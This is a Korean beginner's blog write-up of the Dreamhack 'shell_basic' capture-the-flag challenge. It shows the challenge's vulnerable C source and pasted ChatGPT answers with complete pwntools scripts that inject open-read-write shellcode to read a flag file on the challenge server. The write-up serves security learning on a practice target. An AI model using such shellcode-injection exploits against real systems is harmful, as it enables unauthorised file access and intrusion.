Dreamhack/Dreamhack Wargame (Challenge)

[12] IT 비전공자 [dreamhack] shell_basic 문제 풀기

imaginefuture-1 2024. 9. 23. 10:13

12번째 문제 아자아자 가보자고!!

 

https://velog.io/@silvergun8291/Dreamhack-shellbasic

 

[Dreamhack] shell_basic

문제를 보면 flag를 출력하는 쉘 코드를 작성해야 하는데, execve 시스템 콜을 사용할 수 없습니다.그래서 강의에서처럼 orw 쉘 코드를 작성해서 문제를 풀어야 합니다.위에 코드처럼 open-read-write를

velog.io

 

문제 풀이법 참고 블로그

 

셸코드란?

 

셸코드(Shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫습니다. 일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용해서, 특별히 “셸”이 접두사로 붙었습니다.

 

만약 해커가 rip를 자신이 작성한 셸코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드가 실행되게 할 수 있습니다. 어셈블리어는 기계어와 거의 일대일 대응되므로 사실상 원하는 모든 명령을 CPU에 내릴 수 있게 됩니다.

 

헉 ㄷㄷ 엄청난 아이다 모든 명령을 cpu에 내린다니;;

 

이후 설명글을 읽었는데....(너무 어렵다)

 

문제..문제 풀어보러가자

 

문제 파일부터 확인해보자

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

 

문제를 보면 flag를 출력하는 쉘 코드를 작성해야 하는데, execve 시스템 콜을 사용할 수 없습니다.

그래서 강의에서처럼 orw 쉘 코드를 작성해서 문제를 풀어야 합니다.

위에 코드처럼 open-read-write를 하면 되는데, pwntools에 쉘 코드를 작성해주는 함수인 shellcraft()가 있습니다.

출처: https://velog.io/@silvergun8291/Dreamhack-shellbasic

 

그래서 pwntools가 뭐냐 싶어서 찾아보니

 

Pwntools 는 리눅스 환경에서 익스플로잇을 짜는 것을 쉽게 할 수 있게 해주는 파이썬 라이브러리다.



오호그럼 이거 어떻게 사용할 수 있는거지?/

 

 

ubuntu 터미널에서 설치를 진행하면 됩니다. 

ubuntu 터미널에서 설치를 진행하면 됩니다. 

ubuntu 터미널에서 설치를 진행하면 됩니다. 

ubuntu 터미널에서 설치를 진행하면 됩니다. 

ubuntu 터미널에서 설치를 진행하면 됩니다. 

ubuntu 터미널에서 설치를 진행하면 됩니다. 

 

 

 

아...또 너냐? 우분투?

또 막혀버렸다,,

 

나는 언제쯤 우분투 사용할 수 있을까..?

 

 

너 내가 노트북 사자마자 바로 깐다..진짜..

 


2024-10-22 10:39 am 시도 중..

 

 

10:48am 성공

 

힘들었다..

 

 

무수한 흔적들..
결국 성공한 코드

https://velog.io/@silvergun8291/Dreamhack-shellbasic

 

[Dreamhack] shell_basic

문제를 보면 flag를 출력하는 쉘 코드를 작성해야 하는데, execve 시스템 콜을 사용할 수 없습니다.그래서 강의에서처럼 orw 쉘 코드를 작성해서 문제를 풀어야 합니다.위에 코드처럼 open-read-write를

velog.io

https://pd6156.tistory.com/229

 

[dreamhack] shell_basic

문제 풀이 flag의 위치는 "/home/shell_basic/flag_name_is_loooooong"이라는 정보가 주어졌다. 앞선 이론에서 배웠던 orw 셸코드를 작성하면 될 것 같다. 일단 문제 파일 shell_basic.c 먼저 살펴보자. // Compile: gcc

pd6156.tistory.com

https://minnote.net/pwnable/DH-shell-basic/

 

[DreamHack] shell_basic 풀이

[DreamHack] shell_basic 풀이

minnote.net

 

https://orcinus-orca.tistory.com/144

 

[System_Hacking] 문제풀이(shell_basic)

복습 겸 1레벨부터 문제를 다시 풀어보려고 한다. 새롭게 보이는 것도 있지 않을까.. // Compile: gcc -o shell_basic shell_basic.c -lseccomp // apt install seccomp libseccomp-dev // 64-bit, full relro, nx, pie #include #include #i

orcinus-orca.tistory.com

https://lonelynova.tistory.com/174

 

dreamhack 시스템해킹 - 5(shell_basic 문제풀이)

이번시간에는 shell_basic 문제를 풀어보도록 하겠습니다. - asm 짜고 OP code 만들기 먼저 파일 경로(/home/shell_basic/flag_name_is_loooooong)를 아스키코드로 변경해줍니다. 아래 링크로 들어가서 변경하면됩

lonelynova.tistory.com

정석으로 푸는 문제풀이는 이 마지막 블로그 글인 것같다..

내가 더 공부해서 올게...

하...

이게..새싹 문제라고..? 선생님..자비 좀..

 


gpt:

 

`BytesWarning: text is not bytes; assuming ASCII, no guarantees.`라는 경고 메시지는 Python에서 문자열(`str`)과 바이트(`bytes`) 간의 혼합 사용으로 인해 발생합니다. 이 메시지는 바이트가 아닌 문자열을 사용하고 있다는 것을 나타내며, Python이 이를 ASCII로 처리하겠다고 경고하는 것입니다. 이는 잠재적인 오류를 발생시킬 수 있습니다.

### 문제 해결 방법

1. **바이트로 변환하기**:
   - 문자열을 바이트로 변환하려면 `encode()` 메서드를 사용할 수 있습니다. 예를 들어, `payload`를 정의할 때 바이트로 변환하여 사용하세요.

2. **바이트 문자열 사용하기**:
   - 쉘코드를 정의할 때 `b"..."`를 사용하여 바이트 문자열로 설정할 수 있습니다.

### 수정된 코드 예시

아래는 해당 경고를 피하기 위한 수정된 코드입니다:

from pwn import *

# 원격 서버에 연결
p = remote("host1.dreamhack.games", 20000)

# 아키텍처 설정
context.arch = "amd64"

# open할 flag 파일 path
path = "/home/shell_basic/flag_name_is_loooooong"

# 쉘코드 생성
shellcode = shellcraft.open(path)  # open("/home/shell_basic/flag_name_is_loooooong")
shellcode += shellcraft.read('rax', 'rsp', 0x30)  # read(fd, buf, 0x30)
shellcode += shellcraft.write(1, 'rsp', 0x30)  # write(stdout, buf, 0x30)
shellcode = asm(shellcode)  # shellcode를 기계어로 변환

# payload 생성
payload = shellcode  # payload = shellcode

# 쉘코드를 바이트로 변환 (문자열로 받지 않도록)
if isinstance(payload, str):
    payload = payload.encode()  # 문자열을 바이트로 변환 (필요한 경우)

# 서버에 쉘코드 전송
p.sendlineafter(b"shellcode: ", payload)  # "shellcode: "가 출력되면 payload + '\n'을 입력

# 데이터 수신 및 출력
print(p.recv(0x30).decode())  # p가 출력하는 데이터를 0x30 Byte까지 받아서 출력


### 설명
- **바이트 변환**: `payload`가 문자열인지 확인하고, 문자열인 경우 `encode()`를 사용하여 바이트로 변환합니다.
- **`sendlineafter` 호출 시**: 인자 `"shellcode: "`를 바이트 문자열로 변경하여 혼동을 피합니다.
- **데이터 출력 시**: 수신한 데이터는 바이트 형식이므로, 이를 `decode()`를 사용하여 문자열로 변환하여 출력합니다.

이렇게 수정한 후에도 경고 메시지가 계속 나타나면 추가적인 정보를 제공해 주시면 더 구체적으로 도와드리겠습니다!

 

나:

서버 들어갔다가 서버 나가고 그렇게 그냥 끝나..
 

ChatGPT의 말:

ChatGPT

서버에 접속 후 쉘코드를 보내고 나서, 프로그램이 종료되거나 의도한 결과를 얻지 못하는 경우 몇 가지 원인이 있을 수 있습니다. 다음은 문제 해결을 위한 단계입니다.

1. 서버 응답 확인

서버에서 요청한 내용을 제대로 처리했는지 확인하기 위해 다음을 시도하세요:

  • 서버 응답 출력: 서버에서 받은 응답을 출력하여 어떤 메시지가 오는지 확인합니다.
python
 
response = p.recv(0x30) # 서버 응답을 수신 print(response.decode()) # 응답을 디코딩하여 출력

2. 쉘코드의 정확성

  • 쉘코드 확인: 사용한 쉘코드가 실제로 원하는 동작(예: 파일 읽기)을 수행하는지 확인합니다. read_flag 함수를 호출하는 쉘코드가 올바르게 생성되었는지 확인합니다.

3. 서버와의 상호작용

  • 상호작용 유지: p.interactive()를 사용하여 서버와의 상호작용을 유지할 수 있습니다. 이 명령은 쉘을 통해 사용자 입력을 받을 수 있게 해줍니다.
python
 
p.interactive() # 사용자에게 입출력을 돌려줌

4. 에러 로그 확인

서버에서 발생한 에러나 경고 메시지를 확인하기 위해 더 많은 정보를 출력할 수 있습니다.

5. 패킷 구조

서버가 요구하는 데이터 형식이나 패킷 구조가 있는지 확인하십시오. 요구되는 데이터가 있는 경우 그것에 맞게 코드를 수정해야 합니다.

예시 코드

아래는 위의 점검 사항을 반영한 예시 코드입니다:

 

 

 

from pwn import *

# 원격 서버에 연결
p = remote("host1.dreamhack.games", 20000)

# 아키텍처 설정
context.arch = "amd64"

# open할 flag 파일 path
path = "/home/shell_basic/flag_name_is_loooooong"

# 쉘코드 생성
shellcode = shellcraft.open(path)  # open("/home/shell_basic/flag_name_is_loooooong")
shellcode += shellcraft.read('rax', 'rsp', 0x30)  # read(fd, buf, 0x30)
shellcode += shellcraft.write(1, 'rsp', 0x30)  # write(stdout, buf, 0x30)
shellcode = asm(shellcode)  # shellcode를 기계어로 변환

# payload 생성
payload = shellcode  # payload = shellcode

# 쉘코드를 바이트로 변환 (문자열로 받지 않도록)
if isinstance(payload, str):
    payload = payload.encode()  # 문자열을 바이트로 변환 (필요한 경우)

# 서버에 쉘코드 전송
p.sendlineafter(b"shellcode: ", payload)  # "shellcode: "가 출력되면 payload + '\n'을 입력

# 서버 응답 수신 및 출력
response = p.recv(0x30)  # 서버 응답을 수신
print(response.decode())  # 응답을 디코딩하여 출력

# 사용자와 상호작용
p.interactive()  # 사용자에게 입출력을 돌려줌

 

 

요약

  • 서버에서의 응답을 확인하고, 쉘코드의 올바른 작동 여부를 점검해야 합니다.
  • p.interactive()를 사용하여 프로그램이 종료되지 않도록 하고, 추가적인 사용자 입력을 받을 수 있도록 합니다.

이러한 점검 후에도 문제가 계속 발생하면, 더 많은 정보를 제공해 주시면 추가로 도와드리겠습니다!